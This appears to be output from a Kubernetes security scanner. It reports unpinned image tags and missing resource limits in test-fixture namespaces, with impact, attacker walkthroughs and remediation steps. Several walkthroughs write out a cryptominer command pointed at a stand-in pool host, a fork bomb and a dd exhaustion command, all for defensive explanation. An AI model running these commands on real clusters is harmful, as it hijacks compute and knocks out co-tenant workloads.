Imagepublic.ecr.aws/aws-cli/aws-cli:latest
:latest is mutable: the same tag can resolve to different images over time
digest_pinned
false
image_pull_policy
"Always"
Show raw JSON
{
  "container": "app",
  "digest_pinned": false,
  "image": "public.ecr.aws/aws-cli/aws-cli:latest",
  "image_pull_policy": "Always"
}
MEDIUM Deployment/containersec-fixtures/containersec-image Workload 5.0
Container app in Deployment/containersec-fixtures/containersec-image uses image busybox:latest without a digest pin
Scope · Workload Workload Deployment/containersec-fixtures/containersec-image
Category: Defense Evasion Resource: Deployment/containersec-fixtures/containersec-image Namespace: containersec-fixtures

Container app in Deployment/containersec-fixtures/containersec-image references image busybox:latest by mutable tag and uses imagePullPolicy: Always. Mutable tags (:latest, :v1, :stable, any tag without an immutable @sha256: digest) resolve to whichever manifest the registry happens to point that tag at *right now*. With imagePullPolicy: Always, every new pod start pulls the registry's current resolution of the tag, so a registry-side substitution (compromised registry, supply-chain attack, accidental overwrite) lands silently on the next reschedule, eviction, autoscaling event, or node restart.

This is the classic Kubernetes image-supply-chain pitfall. Even when the build pipeline produces a deterministic artifact, the cluster sees only the tag, and a different team (or attacker) can repoint the tag without the original publisher's involvement. The right answer is to reference the image by its content-addressable digest (registry.example/app@sha256:abc123...): the digest is computed over the image manifest, so the cluster will refuse to pull anything that does not match that exact bytes-on-disk.

Digest pinning also unlocks the rest of the supply-chain security stack: image signatures (cosign), Sigstore-style attestations, Kyverno verifyImages policies, and SLSA provenance all key off the digest. Without it, signatures are advisory at best because the verifier and the runtime can disagree about which image is being checked.

Impact A registry-side tag rewrite (compromise, supply-chain attack, accidental overwrite) silently replaces the running image on the next pod start: reschedule, eviction, autoscale, or node restart. Signatures and provenance are not enforceable without a digest.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains write access to the registry hosting busybox:latest (compromised CI bot account, leaked registry token, third-party base-image takeover).
  2. They build a malicious image with an embedded reverse shell or token-stealer and push it under the same tag, replacing the legitimate manifest at busybox:latest.
  3. They wait for any natural pod restart: HPA scale-up, node drain, eviction, rolling update. Because the cluster sees only the tag and the pull policy fetches it again, the next kubelet pull resolves to the attacker's manifest.
  4. Existing pods continue running the old image. The intrusion is invisible until enough pods cycle for the new one to dominate, or until the attacker triggers a rollout to accelerate adoption.
  5. Detection is hard: image hash in kubectl describe pod now matches the malicious manifest, but no SBOM or CI artifact ever showed this digest because it never existed at build time.
Remediation
Pin busybox:latest to an immutable digest (registry.example/app@sha256:...) and reduce dependence on imagePullPolicy: Always; verify with Sigstore / cosign at admission time.
  1. Resolve the current digest: crane digest busybox:latest (or docker buildx imagetools inspect busybox:latest for OCI multi-arch). Pin it: image: busybox:latest@sha256:<digest>.
  2. Update the build pipeline to emit the digest as part of the build output and write the digest, not the tag, into the manifest before kubectl apply.
  3. Sign images with cosign sign and require signature verification at admission with a Kyverno verifyImages rule or Sigstore Policy Controller.
  4. Add a Kyverno cluster policy that disallows un-digested image references (require-image-digest).
  5. Periodically reconcile pinned digests via Renovate / Dependabot so security patches still land, but as deliberate PRs with provenance, not silent registry rewrites.
Evidence
Containerapp
Imagebusybox:latest
:latest is mutable: the same tag can resolve to different images over time
digest_pinned
false
image_pull_policy
"Always"
Show raw JSON
{
  "container": "app",
  "digest_pinned": false,
  "image": "busybox:latest",
  "image_pull_policy": "Always"
}
MEDIUM Deployment/vulnerable/risky-app Workload 5.0
Container app in Deployment/vulnerable/risky-app uses image nginx:latest without a digest pin
Scope · Workload Workload Deployment/vulnerable/risky-app
Category: Defense Evasion Resource: Deployment/vulnerable/risky-app Namespace: vulnerable

Container app in Deployment/vulnerable/risky-app references image nginx:latest by mutable tag and uses imagePullPolicy: Always. Mutable tags (:latest, :v1, :stable, any tag without an immutable @sha256: digest) resolve to whichever manifest the registry happens to point that tag at *right now*. With imagePullPolicy: Always, every new pod start pulls the registry's current resolution of the tag, so a registry-side substitution (compromised registry, supply-chain attack, accidental overwrite) lands silently on the next reschedule, eviction, autoscaling event, or node restart.

This is the classic Kubernetes image-supply-chain pitfall. Even when the build pipeline produces a deterministic artifact, the cluster sees only the tag, and a different team (or attacker) can repoint the tag without the original publisher's involvement. The right answer is to reference the image by its content-addressable digest (registry.example/app@sha256:abc123...): the digest is computed over the image manifest, so the cluster will refuse to pull anything that does not match that exact bytes-on-disk.

Digest pinning also unlocks the rest of the supply-chain security stack: image signatures (cosign), Sigstore-style attestations, Kyverno verifyImages policies, and SLSA provenance all key off the digest. Without it, signatures are advisory at best because the verifier and the runtime can disagree about which image is being checked.

Impact A registry-side tag rewrite (compromise, supply-chain attack, accidental overwrite) silently replaces the running image on the next pod start: reschedule, eviction, autoscale, or node restart. Signatures and provenance are not enforceable without a digest.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains write access to the registry hosting nginx:latest (compromised CI bot account, leaked registry token, third-party base-image takeover).
  2. They build a malicious image with an embedded reverse shell or token-stealer and push it under the same tag, replacing the legitimate manifest at nginx:latest.
  3. They wait for any natural pod restart: HPA scale-up, node drain, eviction, rolling update. Because the cluster sees only the tag and the pull policy fetches it again, the next kubelet pull resolves to the attacker's manifest.
  4. Existing pods continue running the old image. The intrusion is invisible until enough pods cycle for the new one to dominate, or until the attacker triggers a rollout to accelerate adoption.
  5. Detection is hard: image hash in kubectl describe pod now matches the malicious manifest, but no SBOM or CI artifact ever showed this digest because it never existed at build time.
Remediation
Pin nginx:latest to an immutable digest (registry.example/app@sha256:...) and reduce dependence on imagePullPolicy: Always; verify with Sigstore / cosign at admission time.
  1. Resolve the current digest: crane digest nginx:latest (or docker buildx imagetools inspect nginx:latest for OCI multi-arch). Pin it: image: nginx:latest@sha256:<digest>.
  2. Update the build pipeline to emit the digest as part of the build output and write the digest, not the tag, into the manifest before kubectl apply.
  3. Sign images with cosign sign and require signature verification at admission with a Kyverno verifyImages rule or Sigstore Policy Controller.
  4. Add a Kyverno cluster policy that disallows un-digested image references (require-image-digest).
  5. Periodically reconcile pinned digests via Renovate / Dependabot so security patches still land, but as deliberate PRs with provenance, not silent registry rewrites.
Evidence
Containerapp
Imagenginx:latest
:latest is mutable: the same tag can resolve to different images over time
digest_pinned
false
image_pull_policy
"Always"
Show raw JSON
{
  "container": "app",
  "digest_pinned": false,
  "image": "nginx:latest",
  "image_pull_policy": "Always"
}
MEDIUM

Container api in Deployment/flat-network/api is missing CPU limits, memory limits, CPU requests, and memory requests

KUBE-CONTAINER-LIMITS-001 35 subjects Score 5.0
MITRE ATT&CK: T1499T1496

Affected subjects (35)

MEDIUM Deployment/flat-network/api Workload 5.0
Container api in Deployment/flat-network/api is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/flat-network/api
Category: Infrastructure Modification Resource: Deployment/flat-network/api Namespace: flat-network

Container api in workload Deployment/flat-network/api does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container api (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container api so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n flat-network --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container api. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapi
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "api",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM DaemonSet/rbac-fixtures/daemon-app Workload 5.0
Container app in DaemonSet/rbac-fixtures/daemon-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload DaemonSet/rbac-fixtures/daemon-app, runs on every node (per-node blast radius)
Category: Infrastructure Modification Resource: DaemonSet/rbac-fixtures/daemon-app Namespace: rbac-fixtures

Container app in workload DaemonSet/rbac-fixtures/daemon-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n rbac-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/cloud-eks-test/imds-pivot-app Workload 5.0
Container app in Deployment/cloud-eks-test/imds-pivot-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/cloud-eks-test/imds-pivot-app
Category: Infrastructure Modification Resource: Deployment/cloud-eks-test/imds-pivot-app Namespace: cloud-eks-test

Container app in workload Deployment/cloud-eks-test/imds-pivot-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n cloud-eks-test --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/cloud-eks-test/irsa-admin-app Workload 5.0
Container app in Deployment/cloud-eks-test/irsa-admin-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/cloud-eks-test/irsa-admin-app
Category: Infrastructure Modification Resource: Deployment/cloud-eks-test/irsa-admin-app Namespace: cloud-eks-test

Container app in workload Deployment/cloud-eks-test/irsa-admin-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n cloud-eks-test --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/containersec-fixtures/containersec-limits Workload 5.0
Container app in Deployment/containersec-fixtures/containersec-limits is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/containersec-fixtures/containersec-limits
Category: Infrastructure Modification Resource: Deployment/containersec-fixtures/containersec-limits Namespace: containersec-fixtures

Container app in workload Deployment/containersec-fixtures/containersec-limits does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n containersec-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/csr-fixtures/csr-mint-app Workload 5.0
Container app in Deployment/csr-fixtures/csr-mint-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/csr-fixtures/csr-mint-app
Category: Infrastructure Modification Resource: Deployment/csr-fixtures/csr-mint-app Namespace: csr-fixtures

Container app in workload Deployment/csr-fixtures/csr-mint-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n csr-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/csr-fixtures/csr-sign-app Workload 5.0
Container app in Deployment/csr-fixtures/csr-sign-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/csr-fixtures/csr-sign-app
Category: Infrastructure Modification Resource: Deployment/csr-fixtures/csr-sign-app Namespace: csr-fixtures

Container app in workload Deployment/csr-fixtures/csr-sign-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n csr-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/flat-network/unmatched Workload 5.0
Container app in Deployment/flat-network/unmatched is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/flat-network/unmatched
Category: Infrastructure Modification Resource: Deployment/flat-network/unmatched Namespace: flat-network

Container app in workload Deployment/flat-network/unmatched does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
